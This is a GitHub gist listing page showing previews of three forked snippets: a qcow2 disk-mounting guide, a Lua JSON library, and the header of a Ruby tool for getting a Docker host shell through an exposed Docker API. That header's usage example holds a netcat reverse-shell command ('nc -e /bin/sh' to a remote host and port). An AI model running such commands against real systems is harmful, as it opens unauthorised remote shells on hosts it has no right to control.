Skip to content

Instantly share code, notes, and snippets.

@Greyh4t
Greyh4t / mount_qcow2.md
Created May 17, 2021 09:51 — forked from shamil/mount_qcow2.md
How to mount a qcow2 disk image

How to mount a qcow2 disk image

This is a quick guide to mounting a qcow2 disk images on your host server. This is useful to reset passwords, edit files, or recover something without the virtual machine running.

Step 1 - Enable NBD on the Host

modprobe nbd max_part=8
@Greyh4t
Greyh4t / json.lua
Created September 5, 2017 14:58 — forked from tylerneylon/json.lua
Pure Lua json library.
--[[ json.lua
A compact pure-Lua JSON library.
The main functions are: json.stringify, json.parse.
## json.stringify:
This expects the following to be true of any tables being encoded:
* They only have string or number keys. Number keys must be represented as
strings in json; this is part of the json spec.
@Greyh4t
Greyh4t / docker_get_host_shell.rb
Last active May 17, 2016 13:27 — forked from kost/docker_get_host_shell.rb
Get Docker Host Shell abusing Docker API
#!/usr/bin/env ruby
# Get Docker Host Shell abusing Docker API
# Copyright (C) 2015 Kost. Distributed under GPL.
#
# Prerequisite:
# gem install docker-api
#
# Example:
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
#